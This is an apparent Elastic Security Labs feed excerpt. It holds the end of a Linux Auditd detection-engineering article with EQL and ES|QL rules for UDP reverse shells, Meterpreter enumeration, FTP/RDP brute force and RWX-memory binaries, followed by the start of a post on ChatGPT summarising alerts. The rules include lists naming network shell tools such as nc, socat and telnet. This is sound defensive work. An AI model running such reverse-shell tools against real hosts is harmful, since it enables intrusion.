<p>Let’s take a look at the <code>openat()</code> syscall. Consulting the <code>open(2)</code> man page (source), you see the following information.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt58bfea2ade00e84d/6a7d82c95588adbff6ee4326/image27.png" alt="System calls manual for open(2)" title="System calls manual for open(2)" /></p>
<p><code>openat()</code> is an evolved version of the <code>open()</code> syscall, allowing for file access relative to a directory file descriptor (<code>dirfd</code>). This syscall enables a program to open a file or directory — a crucial operation for many system tasks. You can see that the syscall is part of the standard C library, and is available in <code>fcntl.h</code> header through the <code>#include &lt;fcntl.h&gt;</code> include statement.</p>
<p>Consulting the manual, you can see the <code>openat()</code> syscall syntax is as follows:</p>
<pre><code>int openat(int dirfd, const char *pathname, int flags, /* mode_t mode */);
</code></pre>
<ul>
<li><code>dirfd</code> specifies the directory file descriptor.</li>
<li><code>*pathname</code> is a pointer to the name of the file/directory to be opened.</li>
<li><code>flags</code> determine the operation mode (e.g., read, write, create, etc.).</li>
</ul>
<p>Returning to our original event, you are now ready to understand the <code>auditd.data.a0-a3</code> fields. The <code>a0</code> to <code>a3</code> values in an auditd log represent the arguments passed to a syscall. These arguments are crucial for understanding the context and specifics of the syscall's execution. Let's break down how these values relate to <code>openat()</code> and what they tell us about the attempted operation based on our earlier exploration.</p>
<ul>
<li><code>auditd.data.a0</code> (<code>dirfd</code>): The a0 value, <code>ffffff9c</code>, indicates a special directive, <code>AT_FDCWD</code>, suggesting the operation is relative to the current working directory.</li>
<li><code>auditd.data.a1</code> (<code>pathname</code>): The <code>a1</code> value, <code>7ffd0f81871d</code>, represents a hexadecimal memory address pointing to the pathname string of the target file or directory. In this case, it refers to an attempt to access the <code>/etc/sudoers</code> file.</li>
<li><code>auditd.data.a2</code> (<code>flags</code>): Reflected by the <code>a2</code> value of <code>0</code>, the flags argument specifies the mode in which the file is to be accessed. With <code>0</code> indicating no special flags were used, it implies a default operation – most likely read-only access.</li>
<li><code>auditd.data.a3</code> (<code>mode</code>): The <code>a3</code> value, also 0, becomes relevant in contexts where the file is being created, dictating the permissions set on the new file.</li>
</ul>
<p>Based on the analysis above, you now have a pretty good understanding of how to interpret Auditd Manager events.</p>
<p>A different way of quickly getting an idea of what an Auditd Manager event means is by using Elastic’s built-in <a href="https://www.elastic.co/guide/en/security/current/security-assistant.html">AI Assistant</a>. Let’s execute the <code>whoami</code> command, and take a look at the <code>auditd.messages</code> field within the event.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f99c8f5a73ac221/6a7d82cc77b03485433fc680/image3.png" alt="Content of the auditd.messages field" title="Content of the auditd.messages field" /></p>
<p>You can ask the Elastic AI Assistant to do the heavy lifting and analyze the event, after which you only have to consult the syscall manual to make sure that it was correct. Let’s first create a new system prompt, focused on analyzing Auditd logs, somewhat similar to this: </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9839d206b7b137b0/6a7d82cfbdcff0bf0bc40096/image18.png" alt="Auditd log analysis prompt for Elastic’s AI assistant" title="Auditd log analysis prompt for Elastic’s AI assistant" /></p>
<p>You can now leverage the newly created system prompt, and paste your Auditd message in there without any additional formatting, and receive the following response:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte384ccc49f27e806/6a7d82d2b437702d534d3fa7/image10.png" alt="Auditd log analysis by Elastic’s AI assistant" title="Auditd log analysis by Elastic’s AI assistant" /></p>
<p>Generative AI tools are very useful for receiving a quick explanation of an event. But generative AI can make mistakes, so you should always be cognizant of leveraging AI tools for this type of analysis, and double check what output it generates. Especially when leveraging the output of these tools for detection rule development, as one minor mistake could lead to faulty logic.</p>
<h2 id="auditdmanagerdetectionruleexamples">Auditd Manager detection rule examples</h2>
<p>After reading the previous section, you should now have enough knowledge available to get started analyzing Auditd Manager logs. The current Elastic detection rules rule set mostly leverages the <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend integration</a>, but the number of rules that leverage Auditd is increasing significantly. This section will dive into several detection rules that leverage Auditd, explain the why and try to teach some underused techniques for writing detection rule queries.</p>
<h3 id="potentialreverseshellviaudp">Potential reverse shell via UDP</h3>
<p>The <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_udp_cli_utility_linux.toml">Potential Reverse Shell via UDP</a> rule aims to identify UDP-based reverse shells. As Elastic Defend does not currently capture UDP traffic, you can leverage Auditd to close this visibility gap. The rule leverages the following logic: </p>
<pre><code>sample by host.id, process.pid, process.parent.pid
  [process where host.os.type == "linux" and event.type == "start" and event.action == "executed" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    )]
  [process where host.os.type == "linux" and auditd.data.syscall == "socket" and process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and auditd.data.a1 == "2"]
  [network where host.os.type == "linux" and event.type == "start" and event.action == "connected-to" and
   process.name : (
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "perl", "python*", "nc", "ncat", "netcat", "php*",
    "ruby", "openssl", "awk", "telnet", "lua*", "socat"
    ) and network.direction == "egress" and destination.ip != null and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")]
</code></pre>
<p>The rule leverages the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-syntax.html#eql-samples">sample</a> functionality, which describes and matches a chronologically unordered series of events. This will ensure the sequence also triggers if the events occur in the same millisecond. Additionally, we leverage a whitelisting approach to specify suspicious binaries that are capable of spawning a reverse connection, allowing for a minimized false-positive rate.</p>
<p>We ensure the capturing of UDP connections by leveraging the Auditd data related to the <a href="https://man7.org/linux/man-pages/man2/socket.2.html"><code>socket()</code></a> syscall.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2da6d7a680139956/6a7d82d573d9bd12d029ac33/image23.png" alt="System calls manual synopsis for socket(2)" title="System calls manual synopsis for socket(2)" /></p>
<p>We see that the a0 value represents the domain, <code>a1</code> represents the type and <code>a2</code> represents the protocol used. Our rule leverages the <code>auditd.data.a1 == "2"</code> syntax, which translates to the <code>SOCK_DGRAM</code> type, which is UDP. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7027ff7c1fdc8d83/6a7d82d8b43770141c4d3fab/image9.png" alt="System calls manual types description for socket(2)" title="System calls manual types description for socket(2)" /></p>
<p>Finally, we ensure that we capture only egress network connections from the host and ensure the exclusion of IPv4 and IPv6 loopback addresses, IPv4 link-local and multicast addresses, and sequence the query by <code>process.pid</code> and <code>process.parent.pid</code> to make sure the events originate from the same (parent) process. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2da6d7a680139956/6a7d82d573d9bd12d029ac33/image23.png" alt="Potential reverse shell via UDP alert" title="Potential reverse shell via UDP alert" /></p>
<p>If we want to hunt for suspicious processes opening UDP sockets, we can query all socket() syscalls with <code>auditd.data.a1 == "2"</code>, count the number of distinct process occurrences, and sort them in an ascending order to find anomalies. To do so, we can leverage this ES|QL query:</p>
<pre><code>FROM logs-*, auditbeat-*
| EVAL protocol = CASE(
    auditd.data.a1 == "1", "TCP",
    auditd.data.a1 == "2", "UDP"
)
| WHERE host.os.type == "linux" and auditd.data.syscall == "socket" and protocol == "UDP"
| STATS process_count = COUNT(process.name), host_count = COUNT(host.name) by process.name, protocol
| SORT process_count asc
| LIMIT 100
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb25163629c848b7c/6a7d82dcea068dbe8cf07249/image34.png" alt="ES|QL query for detecting uncommon UDP network connections" title="ES|QL query for detecting uncommon UDP network connections" /></p>
<p>Looking at the results, we can see quite a few interesting processes pop up, which might be a good starting point for threat hunting purposes. </p>
<h3 id="potentialmeterpreterreverseshell">Potential Meterpreter reverse shell</h3>
<p>Another interesting type of reverse connections that we leveraged Auditd for is the detection of the <a href="https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions/">Meterpreter shell</a>, which is a popular reverse shell used within the <a href="https://www.metasploit.com/">Metasploit-Framework</a>. The <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_shell_via_meterpreter_linux.toml">Potential Meterpreter Reverse Shell</a> rule leverages Meterpreter’s default host enumeration behavior to detect its presence. </p>
<pre><code>sample by host.id, process.pid, user.id
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/machine-id"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/etc/passwd"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/route"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/ipv6_route"]
  [file where host.os.type == "linux" and auditd.data.syscall == "open" and auditd.data.a2 == "1b6" and file.path == "/proc/net/if_inet6"]
</code></pre>
<p>When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files. We can see this behavior when decompiling the Meterpreter payload, as the paths are hardcoded into the binary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc49ef38445ce0b99/6a7d82df6c6eac5d9ef11386/image26.png" alt="Dissemination of a Meterpreter payload showing hardcoded full paths" title="Dissemination of a Meterpreter payload showing hardcoded full paths" /></p>
<p>Our detection logic leverages <code>auditd.data.a2 == “1b6”</code>, as this is consistent with the Meterpreter’s behavior. We can find Meterpreter leveraging this specific syscall combination to read files by looking at the way Meterpreter opens file handlers. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf2d7fdbe7947cbe8/6a7d82e15588ad0474ee432e/image2.png" alt="Dissemination of a Meterpreter payload showing the implementation of fopen64 syscalls" title="Dissemination of a Meterpreter payload showing the implementation of fopen64 syscalls" /></p>
<p>Just for informational purposes, some other paths that Meterpreter reads from can be found in the screenshot below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt33ed00abaa5cccdf/6a7d82e6fc63ab41ae649fe6/image20.png" alt="Auditd Manager events originating from Meterpreter payloads" title="Auditd Manager events originating from Meterpreter payloads" /></p>
<p>We can leverage <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> to analyze a set of Meterpreter reverse shells, and easily find out what file paths are being accessed by all of them. </p>
<pre><code>FROM logs-*, auditbeat-*
| WHERE host.os.type == "linux" and event.action == "opened-file" and process.name in ("shell-x64.elf", "JBNhk", "reverse.elf", "shell.elf", "elf") and auditd.data.a2 == "1b6"
| STATS file_access = COUNT_DISTINCT(process.name) by file.path
| SORT file_access desc
| LIMIT 100
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt033796a89af460dd/6a7d82e9437e0fd110dd85f2/image17.png" alt="ES|QL query for analyzing which paths are accessed by different Meterpreter payloads" title="ES|QL query for analyzing which paths are accessed by different Meterpreter payloads" /></p>
<p>In this example we are only analyzing 5 Meterpreter shells, but using ES|QL we can easily scale this analysis to larger numbers. Based on the information above, we can see that the paths that were selected for the detection rule are present in all five of the samples. </p>
<p>Combining the above logic, we can potentially discover Linux Meterpreter payloads.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt28d5eceaa9371bdf/6a7d82ecc2cc0940922466aa/image35.png" alt="Potential Meterpreter reverse shell alert" title="Potential Meterpreter reverse shell alert" /></p>
<h3 id="linuxftprdpbruteforceattackdetected">Linux FTP/RDP brute force attack detected</h3>
<p>Given that there are so many different FTP/RDP clients available for Linux, and the authentication logs are not entirely implemented similarly, you can leverage Auditd’s <code>auditd.data.terminal</code> field to detect different FTP/RDP implementations. Our FTP detection logic looks as follows:</p>
<pre><code>sequence by host.id, auditd.data.addr, related.user with maxspan=3s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "failure" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] with runs=5

  [authentication where host.os.type == "linux" and event.action  == "authenticated" and 
   auditd.data.terminal == "ftp" and event.outcome == "success" and auditd.data.addr != null and 
   auditd.data.addr != "0.0.0.0" and auditd.data.addr != "::"] | tail 1
</code></pre>
<p>Here, we sequence 5 failed login attempts with 1 successful login attempt on the same host, from the same IP and for the same user. We leverage the <a href="https://www.elastic.co/guide/en/elasticsearch/reference/current/eql-pipe-ref.html">tail</a> feature which works similar to tail in Unix, selecting the last X number of alerts rather than selecting all alerts within the timeframe. This does not affect the SIEM detection rules interface, it is only used for easier readability as brute force attacks can quickly lead to many alerts.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltde1da252ef8f5d7c/6a7d82ef6c6eac6f6ef1138c/image7.png" alt="Potential Linux RDP brute force attack detected alert" title="Potential Linux RDP brute force attack detected alert" /></p>
<p>Although we are leveraging different FTP tools such as <code>vsftpd</code>, the <code>auditd.data.terminal</code> entry remains similar across tooling, allowing us to capture a broader range of FTP brute forcing attacks. Our RDP detection rule leverages similar logic:</p>
<pre><code>sequence by host.id, related.user with maxspan=5s
  [authentication where host.os.type == "linux" and event.action == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "failure"] with runs=10
  [authentication where host.os.type == "linux" and event.action  == "authenticated" and
   auditd.data.terminal : "*rdp*" and event.outcome == "success"] | tail 1
</code></pre>
<p>Given that <code>auditd.data.terminal</code> fields from different RDP clients are inconsistent, we can leverage wildcards to capture their authentication events. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd581bffc14bc531/6a7d82f3ead8ec4dc6ba7b66/image21.png" alt="Potential Linux FTP brute force attack detected alert" title="Potential Linux FTP brute force attack detected alert" /></p>
<h3 id="networkconnectionfrombinarywithrwxmemoryregion">Network connection from binary with RWX memory region</h3>
<p>The <a href="https://man7.org/linux/man-pages/man2/mprotect.2.html"><code>mprotect()</code></a> system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. Our aim with this detection rule is to detect network connections from binaries that have read, write and execute memory region permissions set. Let’s take a look at the syscall.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f99c8f5a73ac221/6a7d82cc77b03485433fc680/image3.png" alt="System calls manual synopsis for mprotect" title="System calls manual synopsis for mprotect" /></p>
<p>For our detection rule logic, the <code>prot</code> value is most important. You can see that <code>prot</code> can have the following access flags:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbf3c25598b8ebad5/6a7d82f6de23151a6efd4e72/image12.png" alt="System calls manual prot access flags description for mprotect" title="System calls manual prot access flags description for mprotect" /></p>
<p>As stated, <code>prot</code> is a bitwise OR of the values in the list. So for read, write, and execute permissions, we are looking for an int of:</p>
<pre><code>int prot = PROT_READ | PROT_WRITE | PROT_EXEC;
</code></pre>
<p>This translates to a value of <code>0x7</code> after bitwising, and therefore we will be looking at an <code>auditd.data.a2 == “7”</code>. We have created two detection rules that leverage this logic - <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_unknown_rwx_mem_region_binary_executed.toml">Unknown Execution of Binary with RWX Memory Region</a> and <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_netcon_from_rwx_mem_region_binary.toml">Network Connection from Binary with RWX Memory Region</a>. The detection rules that leverage specific Auditd configurations in order to function, will have a note about what rule to add in their setup guide:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt64506b01d57a25b5/6a7d82f9ead8ec1d13ba7b6a/image15.png" alt="Auditd Setup guide for detection rule" title="Auditd Setup guide for detection rule" /></p>
<p>The prior leverages the <a href="https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule">new_terms</a> rule type, which allows us to detect previously unknown terms within a specified time window. This allows us to detect binaries with RWX permissions that are being seen on a specific host for the first time, while reducing false positives for binaries that are overly permissive but used on a regular basis.</p>
<p>The latter leverages the following detection logic:</p>
<pre><code>sample by host.id, process.pid, process.name
[process where host.os.type == "linux" and auditd.data.syscall == "mprotect" and auditd.data.a2 == "7"]
[network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and
   not cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1")
]
</code></pre>
<p>We sample a process being executed with these RWX permissions, after which a network connection (excluding loopback, multicast, and link-local addresses) is initiated.</p>
<p>Interestingly enough, Metasploit often assigns these RWX permissions to specific regions of its generated payloads. For example, one of the events that trigger this detection logic in a testing stack is related to the execution of <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/postgres/postgres_payload.rb">Metasploit’s Postgres Payload for Linux</a>. When analyzing this payload’s source code, you can see that the payload_so function defines the <code>PROT_READ</code>, <code>PROT_WRITE</code> and <code>PROT_EXEC</code> flags.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e1af1b2ceafbc12/6a7d82fc05b7b56bdd188b7a/image4.png" alt="Metasploit’s Postgres payload_so function" title="Metasploit’s Postgres payload_so function" /></p>
<p>After which a specific memory region, with a specific page size of <code>0x1000</code> is given the RWX access flags in a similar fashion as described earlier. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8851979f3ed9dc17/6a7d82ff96b5a6336f878672/image31.png" alt="Metasploit’s Postgres run_payload function" title="Metasploit’s Postgres run_payload function" /></p>
<p>After running the payload, and querying the stack, you can see several hits are returned, which are all related to Metasploit Meterpreter payloads.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26f806edfd39bce0/6a7d83023ce8e2244dcf26a0/image13.png" alt="Network connection from binary with RWX memory region alert" title="Network connection from binary with RWX memory region alert" /></p>
<p>Focusing on the Postgres payload that we were analyzing earlier, you can see the exact payload execution path through our <a href="https://www.elastic.co/guide/en/security/current/visual-event-analyzer.html">visual event analyzer</a>. Elastic Security allows any event detected by Elastic Endpoint to be analyzed using a process-based visual analyzer, which shows a graphical timeline of processes that led up to the alert and the events that occurred immediately after. Examining events in the visual event analyzer is useful to determine the origin of potentially malicious activity and other areas in your environment that may be compromised. It also enables security analysts to drill down into all related hosts, processes, and other events to aid in their investigations.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8f75eb3fc5f53985/6a7d8305c2cc0915142466ae/image32.png" alt="Visual event analyzer view for Metasploit’s Postgres payload execution" title="Visual event analyzer view for Metasploit’s Postgres payload execution" /></p>
<p>In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell. </p>
<h2 id="conclusion">Conclusion</h2>
<p>In this post, we've dived into the world of Auditd, explaining what it is and its purpose. We showed you how to get Auditd up and running, how to funnel those logs into Elasticsearch to boost Unix/Linux visibility and enable you to improve your Linux detection engineering skills. We discussed how to craft Auditd rules to keep an eye on specific activities, and how to make sense of the events that it generates. To make life easier, we introduced Auditd Manager, an integration created by Elastic to take some of the management load off your shoulders. Finally, we wrapped up by exploring various detection rules and some of the research that went into creating them, enabling you to get the most out of this data source.</p>
<p>We hope you found this guide helpful! Incorporating Auditd into your Unix systems is a smart move for better security visibility. Whether you decide to go with our pre-built detection rules or craft some of your own, Auditd can really strengthen your Unix security game.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/linux-detection-engineering-with-auditd</link>
    <guid isPermaLink="false">linux-detection-engineering-with-auditd</guid>
    <category><![CDATA[Threat Hunting]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfa75dfa8b34fe1fb/6a7d8308e02fac437a5d3540/Security_Labs_Images_30.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 09 Apr 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Exploring the Future of Security with ChatGPT]]></title>
    <description><![CDATA[Recently, OpenAI announced APIs for engineers to integrate ChatGPT and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website.]]></description>
    <content:encoded><![CDATA[<h3 id="preamble">Preamble</h3>
<p>Recently, OpenAI <a href="https://openai.com/blog/introducing-chatgpt-and-whisper-apis">announced</a> APIs for engineers to integrate <a href="https://chat.openai.com/chat">ChatGPT</a> and Whisper models into their apps and products. For some time, engineers could use the REST API calls for older models and otherwise use the ChatGPT interface through their website. Now there's an opportunity to prototype and experiment with Large Language Models (LLMs) to assist with security use cases.</p>
<p>The defensively-minded possibilities are endless for applying the older <a href="https://platform.openai.com/docs/models/gpt-3-5">gpt-3.5-turbo</a> and soon <a href="https://platform.openai.com/docs/models/gpt-4">gpt-4</a> models but here are just a few ideas:</p>
<ul>
<li>Chatbot-assisted Incident Response: Creating a chatbot that can identify and respond to security incidents in real-time to achieve a desired outcome. The chatbot can use ChatGPT to analyze the incident and provide an appropriate and configurable response (e.g. execute response actions, recommend new queries, etc.).</li>
<li>Threat information: Using ChatGPT to analyze threat data and generate reports for your security product. This will help to improve the mean-time to respond.</li>
<li>Natural language search: Implementing natural language search capabilities in your security product. ChatGPT can be used to understand and optimize search queries, for more accurate and relevant results.</li>
<li>Anomaly detection: Using ChatGPT to analyze event data to identify anomalies that may indicate a security breach (although will require local domain context training).</li>
<li>Security policy chatbot: Creating a chatbot that can answer security-related questions while investigating threats. The chatbot can use ChatGPT to provide accurate and relevant answers to questions about security policies, best practices, summarizing information, and more.</li>
<li>Alert prioritization: Using the data within the alerts to group and prioritize the most relevant information to the analyst for an expedited response.</li>
</ul>
<h4 id="overview">Overview</h4>
<p>The relevance of results from a tool like ChatGPT depends a great deal on the data provided and the question asked. Garbage in: garbage out. To minimize costs during prototyping, we chose a small number of available fields (see below). There will always be a bit of tuning and engineering to get the best out of a model like this.</p>
<p>The following fields are included:</p>
<pre><code>"event.kind",
"signal.rule.severity",
"kibana.alert.rule.name",
"signal.reason",
"signal.rule.type",
"signal.rule.interval",
"signal.rule.risk_score",
"kibana.alert.rule.producer",
"kibana.alert.rule.description"
</code></pre>
<p>If you decide to play around with the <a href="https://gist.github.com/Mikaayenson/9efff700e5d799c672c6b17338d2de6a">code</a>, feel free to modify the fields as needed. Also, we'd love to hear what you're doing if you've already pulled something together. Or if you just want to chat about cool ideas, feel free to reach out! Now let's get into some fun. 😎</p>
<h5 id="simpleusecaseeli5">Simple use case: ELI5</h5>
<p>No matter how experienced you are in the security domain, there will always be changes and new developments. They keep the security world exciting but also challenge us to stay up to date, especially when it pertains to threats. But often the detection engineer that created a query to identify malicious activity is not the same person responding to a threat. And, notably, those individuals will prioritize different knowledge and come with their own sets of unique experiences.</p>
<p>The following Example simply queries the detection engine for alerts and then explains them in several ways. Some of the explanations were insightful, and some were humorous. You should try it out yourself.</p>
<h5 id="maliciousbehaviorpreventionalert">Malicious Behavior Prevention alert</h5>
<p>From the <a href="https://www.elastic.co/guide/en/security/current/microsoft-exchange-worker-spawning-suspicious-processes.html">Suspicious Microsoft IIS Worker Descendant detection</a> rule, we start with the first prompt “Summary the Elastic event:” and in each example, it's followed by the response provided by chatGPT.</p>
<p>This first example is short and sweet, to highlight the basic functionality. Summarize the Elastic event:</p>
<blockquote>
  <p>The summary of the elastic event is that it produces a detection alert whenever a suspicious Microsoft IIS Worker Descendant is detected by Elastic Endpoint Security. This alert helps in investigating the endpoint alerts promptly.</p>
</blockquote>
<p>Sometimes you need to provide an explanation to a layperson without security experience or expertise The term “explain it like I’m five” originated in 2010 on Twitter and was later seen on the subreddit, r/explainlikeimfive. Language is hard. Explaining complicated or nuanced things is even harder. In the most endearing way possible, sometimes we just need someone to explain it like we’re five.</p>
<p>Explain this Elastic event like I'm five:</p>
<blockquote>
  <p>So, you know how sometimes there are bad guys who try to do bad things on our computers? Well, there is a special program called Elastic Endpoint Security that helps protect our computers from those bad guys. When it detects something suspicious, it will send an alert to the grown-ups who are taking care of the computer. This alert has a special name - Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant. Now, the people who take care of the computer have another special program called SIEM. SIEM keeps an eye on all the alerts that Elastic Endpoint Security sends, and if it sees one of these special alerts, it will tell the grown-ups right away so they can investigate and make sure everything is okay. So, this message just means that SIEM got an alert from Elastic Endpoint Security, and it's letting the grown-ups know so they can take care of it.</p>
</blockquote>
<p>Sometimes your kids may want to know how your day went. ChatGPT can even help in this (unconventional) area.</p>
<p>Explain this event to my kids:</p>
<blockquote>
  <p>There was something weird that happened on a computer, and the people who take care of it wanted to know about it right away. They made a rule that sends an alert whenever something strange happens on that computer. This way, they can look into it and make sure everything is okay.</p>
</blockquote>
<p>This example is interesting. Without the context of what kind of leadership you have, this response may not be enough. It might even be interpreted as insulting 😅. Like any other tool, make sure you’re using it in a safe and appropriate way.</p>
<p>Explain this event to my boss:</p>
<blockquote>
  <p>This event indicates that a rule named "Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant" was triggered by the SIEM system. This rule is designed to generate an alert whenever any suspicious activity related to Elastic Endpoint Security is detected. By enabling this rule, we can quickly investigate any potential threats to our Endpoint security.</p>
</blockquote>
<p>This next example is great for training entry-level analysts. It provides intentional words that you want to hear when onboarding someone to a new role.</p>
<p>Explain this event to the new graduate:</p>
<blockquote>
  <p>This event is a notification that a rule has been triggered to detect a suspicious behavior related to the Microsoft IIS Worker, which is a component of the web server software. This rule is meant to prevent any malicious behavior and generate an alert whenever an Elastic Endpoint Security alert is received. By enabling this rule, it helps to investigate the security threats quickly and take the necessary actions to mitigate them.</p>
</blockquote>
<p>We can prompt in different ways, and as expected get different responses.</p>
<p>Explain what happened in this event:</p>
<blockquote>
  <p>This event is related to a detection alert rule named "Malicious Behavior Prevention Alert: Suspicious Microsoft IIS Worker Descendant," which was produced by a SIEM. The event type is "signal," which means that the alert has been triggered based on a specific condition. The purpose of this rule is to generate a detection alert every time an Elastic Endpoint Security alert is received, which helps in the immediate investigation of the endpoint alerts. Therefore, this event indicates the occurrence of suspicious activity related to Microsoft IIS Worker Descendants and the triggering of an alert by the detection rule.</p>
</blockquote>
<p>Clearly, there is room for improvement. In this next example, it preemptively explains, "Hey hey, don't ask for too much of me. I'm just an assistant."</p>
<p>Explain this event to the CISO:</p>
<blockquote>
  <p>As a virtual assistant language model, I can explain the given event to the CISO with utmost accuracy and professionalism. This event signifies the activation of a rule in Kibana that generates an alert whenever there's suspicious behavior detected in Microsoft IIS worker descendant, which can be a potential threat to the organization's security. This rule is produced by the SIEM (Security Information and Event Management) system and is designed to detect malicious activities and alert the security team immediately. This event also mentions that the endpoint security system generates alerts that enable the security team to investigate and take necessary actions to mitigate threats. Overall, this event highlights the implementation of proactive security measures to ensure the safety of the organization's digital assets.</p>
</blockquote>
<p>This last example is particularly interesting because it just scratches the surface for how to guide the team responding to this event.</p>
<p>What are next investigative steps to take based on this event:</p>
<blockquote>
  <ul>
  <li>Determine the source of the Elastic Endpoint Security alert and investigate the details of the alert to understand the specific suspicious behavior detected.</li>
  <li>Review system logs to identify any other unusual activity within the network, particularly from the same system or IP address associated with the suspicious Microsoft IIS worker descendant.</li>
  <li>Check for any recent changes made to the Microsoft IIS configuration or permissions that may have triggered the alert.</li>
  <li>Assess the impact of the event on the affected system and determine if any data or systems were compromised.</li>
  <li>Identify and isolate the affected system or systems to prevent further spread of any potential malware or malicious activity.</li>
  <li>Review current security measures and identify any gaps or areas that can be improved to prevent similar incidents in the future.</li>
  <li>Report the event to the relevant authorities or stakeholders, if necessary.</li>
  </ul>
</blockquote>
<p>As you can see, this demo focuses on summarizing the gist of an alert. Imagine how powerful this could be if we decided to summarize all of the alerts for the week into a single summary for reporting. If we tweak the data sent to chatGPT and provide more fields, then we should anticipate getting more accurate responses. That engineering tradeoff of determining what the most important fields to send to get the clearest picture in a time-sensitive fashion is worth the investment. Now, let's explore one more use case.</p>
<h4 id="alertprioritization">Alert prioritization</h4>
<p>Response times can impact the severity and outcome of an incident. In challenging situations (e.g. alert fatigue, high volume of alerts, lack of training, constrained resources, etc.), responders struggle with determining what to do first. For example, which alert should be investigated and why? Perhaps ChatGPT can help in this area. 🤔</p>
<p>Here are some example alerts that we use in the next set of conversations. Again, the data in these sample alerts are limited to a subset of fields available to conserve tokens.</p>
<h5 id="samplealerts">Sample alerts</h5>
<blockquote>
